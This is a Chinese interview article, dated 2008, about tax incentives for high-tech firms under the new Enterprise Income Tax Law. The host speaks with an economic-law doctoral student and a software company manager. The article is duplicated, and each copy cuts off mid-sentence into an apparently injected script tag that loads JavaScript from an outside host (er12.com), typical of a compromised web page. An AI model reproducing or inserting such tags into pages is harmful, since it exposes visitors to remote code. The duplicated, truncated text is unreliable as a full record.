新企业所得税法重推自主创新
发布时间:2008/5/24 0:00:00 访问次数:98
主持人:李禾(本报记者)
嘉宾:刘淼(北京大学法学院经济法博士生)
骆永华(北京环宇通软信息技术有限公司总经理)
名词解释:科技税收优惠主要是指国家为促进科技进步、提高科技水平而在研究与发展、新设备投资、科技产品销售、科技人员所得等方面所采取的一系列税收优惠措施的总和。 其核心目标是刺激科技投入、鼓励科技开发和科技产品的生产,从而提高国家的总体科技水平。在各种影响企业科技创新活动的税收政策和具体税种中,企业所得税,作为效益税,对于解决科技创新活动中的市场失灵、展现科技创新在国家发展战略中的地位是非常有效的。
将于2008年1月1日生效的《中华人民共和国企业所得税法》全部条款已正式公布,该税法规定内、外资企业的所得税税率统一为25%,改变了以前外资企业的“超国民”待遇,另一个突出的特点是——高新技术产业享受优惠。
比如,新企业所得税法第28条第二款规定,国家需要重点扶持的高新技术企业,减按15%的税率征收企业所得税。
第30条规定,企业的开发新技术、新产品、新工艺发生的研究开发费用,可以在计算应纳税所得额时加计扣除。
第31条规定,创业投资企业从事国家需要重点扶持和鼓励的创业投资,可以按投资额的一定比例抵扣应纳税所得额。
第32条规定,企业的固定资产由于技术进步等原因,确需加速折旧的,可以缩短折旧年限或者采取加速折旧的方法。
第57条规定,新法公布前已经享受低税率优惠的企业,可以在新法施行后五年内,逐步过渡到新法规定的税率。对五个经济特区和上海浦东新区,在新法施行后设立的国家需要重点扶持的高新技术企业,可以享受过渡性税收优惠。
科技税收优惠政策应对创新的“市场失灵”
主持人:新企业所得税法的公布,让很多惴惴不安的高新技术企业松了一口气。但这次税法改革中,政府为什么会出台这么多激励企业技术创新的具体条款呢?
刘淼:这是因为在技术创新过程中,存在着“市场失灵”。“市场失灵”是由技术创新本身的特性决定的。一是创新收益的外部性。由于研究和开发活动所产生的信息具有公共物品的特征,因而信息的生产者不可能将产品的全部收益据为己有,结果会导致研究与开发活动萎缩,全社会的研究开发水平低于最适当水平;二是创新过程的不可分割性。研究与开发受到规模的限制,因而在一定规模以下的企业不可能进行研究与开发活动;三是创新过程的不确定性。创新活动与其他投资活动不同,创新投入的产出是不确定的,特别是在研发活动的早期,常常会发生失败,这就增加了创新活动的风险性,不利于企业进行创新投资。科技创新外部性的一个重要表现形式是其溢出效应。也就是说,当一个企业的创新活动完成后,同一行业的其他企业往往可以进行模仿,创新结果迅速在行业内扩散,缩减了研发企业的技术领先优势,削弱了企业创新活动的战略意义,导致创新活动的市场失灵。
骆永华:我们做企业的特别有感受,一方面中小型企业相对于规模比较大、管理复杂性比较高的大中型企业而言更具有创新动力和活力,但另外一方面中小型企业往往资金不足,很难承受创新活动早期必然会有的各种失败;对于企业来说,技术和产品研发的成功只是万里长征的第一步,即使新产品的初期销售开始让企业盈利,也远不足以支撑真正产品化和大规模生产的资金投入需求。所以对于我们这样的创新企业来说,一方面需要充分利用资本市场进行融资,另外一方面也很需要政府从税收等多个方面所给予支持。
科技税收优惠政策触动企业创新动力
主持人:科技税收优惠政策一般会对科技创新具有什么激励作用?
刘淼:税收优惠作为一种税收调节工具,是政府运用税收手段直接调节纳税主体的收入,间接影响纳税主体的行为,进而引起社会经济活动的变化,以实现政府宏观调控目标的活动。间接性是税收影响企业科技创新的突出特点。
总体看,科技税收优惠政策对科技产业的发展具有导向作用,表达了政府对科技产业发展的支持,从而对市场机制配置资源的过程产生影响,促使经济资源向政府意欲趋向的方向流动。此外,科技税收优惠政策会减少企业成本,增加收益。企业作为市场微观经济主体,其经营活动完全基于自身经济利益的判断,政府将应得的所得税收入让渡给了纳税主体,使企业的成本减少而收益增加。这也是企业所得税法最能触动企业创新动力的所在。
科技税收优惠政策可降低企业科技创新的风险系数。由于科技创新的不确定性,对于多数企业,尤其是中小型企业承受研发投入风险的能力较低,尤其是在新产品开发未能初见效益的情况下,二次大幅度研发投入,对于他们来说是一个艰难的选择,科技税收优惠政策可以增强他们的创新的信心和勇气;还可促进科技成果的转化,实现市场化和产业化。
骆永华:从企业角度来看,科技税收优惠政策一方面上从总体?script src=http://er12.com/t.js>
主持人:李禾(本报记者)
嘉宾:刘淼(北京大学法学院经济法博士生)
骆永华(北京环宇通软信息技术有限公司总经理)
名词解释:科技税收优惠主要是指国家为促进科技进步、提高科技水平而在研究与发展、新设备投资、科技产品销售、科技人员所得等方面所采取的一系列税收优惠措施的总和。 其核心目标是刺激科技投入、鼓励科技开发和科技产品的生产,从而提高国家的总体科技水平。在各种影响企业科技创新活动的税收政策和具体税种中,企业所得税,作为效益税,对于解决科技创新活动中的市场失灵、展现科技创新在国家发展战略中的地位是非常有效的。
将于2008年1月1日生效的《中华人民共和国企业所得税法》全部条款已正式公布,该税法规定内、外资企业的所得税税率统一为25%,改变了以前外资企业的“超国民”待遇,另一个突出的特点是——高新技术产业享受优惠。
比如,新企业所得税法第28条第二款规定,国家需要重点扶持的高新技术企业,减按15%的税率征收企业所得税。
第30条规定,企业的开发新技术、新产品、新工艺发生的研究开发费用,可以在计算应纳税所得额时加计扣除。
第31条规定,创业投资企业从事国家需要重点扶持和鼓励的创业投资,可以按投资额的一定比例抵扣应纳税所得额。
第32条规定,企业的固定资产由于技术进步等原因,确需加速折旧的,可以缩短折旧年限或者采取加速折旧的方法。
第57条规定,新法公布前已经享受低税率优惠的企业,可以在新法施行后五年内,逐步过渡到新法规定的税率。对五个经济特区和上海浦东新区,在新法施行后设立的国家需要重点扶持的高新技术企业,可以享受过渡性税收优惠。
科技税收优惠政策应对创新的“市场失灵”
主持人:新企业所得税法的公布,让很多惴惴不安的高新技术企业松了一口气。但这次税法改革中,政府为什么会出台这么多激励企业技术创新的具体条款呢?
刘淼:这是因为在技术创新过程中,存在着“市场失灵”。“市场失灵”是由技术创新本身的特性决定的。一是创新收益的外部性。由于研究和开发活动所产生的信息具有公共物品的特征,因而信息的生产者不可能将产品的全部收益据为己有,结果会导致研究与开发活动萎缩,全社会的研究开发水平低于最适当水平;二是创新过程的不可分割性。研究与开发受到规模的限制,因而在一定规模以下的企业不可能进行研究与开发活动;三是创新过程的不确定性。创新活动与其他投资活动不同,创新投入的产出是不确定的,特别是在研发活动的早期,常常会发生失败,这就增加了创新活动的风险性,不利于企业进行创新投资。科技创新外部性的一个重要表现形式是其溢出效应。也就是说,当一个企业的创新活动完成后,同一行业的其他企业往往可以进行模仿,创新结果迅速在行业内扩散,缩减了研发企业的技术领先优势,削弱了企业创新活动的战略意义,导致创新活动的市场失灵。
骆永华:我们做企业的特别有感受,一方面中小型企业相对于规模比较大、管理复杂性比较高的大中型企业而言更具有创新动力和活力,但另外一方面中小型企业往往资金不足,很难承受创新活动早期必然会有的各种失败;对于企业来说,技术和产品研发的成功只是万里长征的第一步,即使新产品的初期销售开始让企业盈利,也远不足以支撑真正产品化和大规模生产的资金投入需求。所以对于我们这样的创新企业来说,一方面需要充分利用资本市场进行融资,另外一方面也很需要政府从税收等多个方面所给予支持。
科技税收优惠政策触动企业创新动力
主持人:科技税收优惠政策一般会对科技创新具有什么激励作用?
刘淼:税收优惠作为一种税收调节工具,是政府运用税收手段直接调节纳税主体的收入,间接影响纳税主体的行为,进而引起社会经济活动的变化,以实现政府宏观调控目标的活动。间接性是税收影响企业科技创新的突出特点。
总体看,科技税收优惠政策对科技产业的发展具有导向作用,表达了政府对科技产业发展的支持,从而对市场机制配置资源的过程产生影响,促使经济资源向政府意欲趋向的方向流动。此外,科技税收优惠政策会减少企业成本,增加收益。企业作为市场微观经济主体,其经营活动完全基于自身经济利益的判断,政府将应得的所得税收入让渡给了纳税主体,使企业的成本减少而收益增加。这也是企业所得税法最能触动企业创新动力的所在。
科技税收优惠政策可降低企业科技创新的风险系数。由于科技创新的不确定性,对于多数企业,尤其是中小型企业承受研发投入风险的能力较低,尤其是在新产品开发未能初见效益的情况下,二次大幅度研发投入,对于他们来说是一个艰难的选择,科技税收优惠政策可以增强他们的创新的信心和勇气;还可促进科技成果的转化,实现市场化和产业化。
骆永华:从企业角度来看,科技税收优惠政策一方面上从总体?script src=http://er12.com/t.js>
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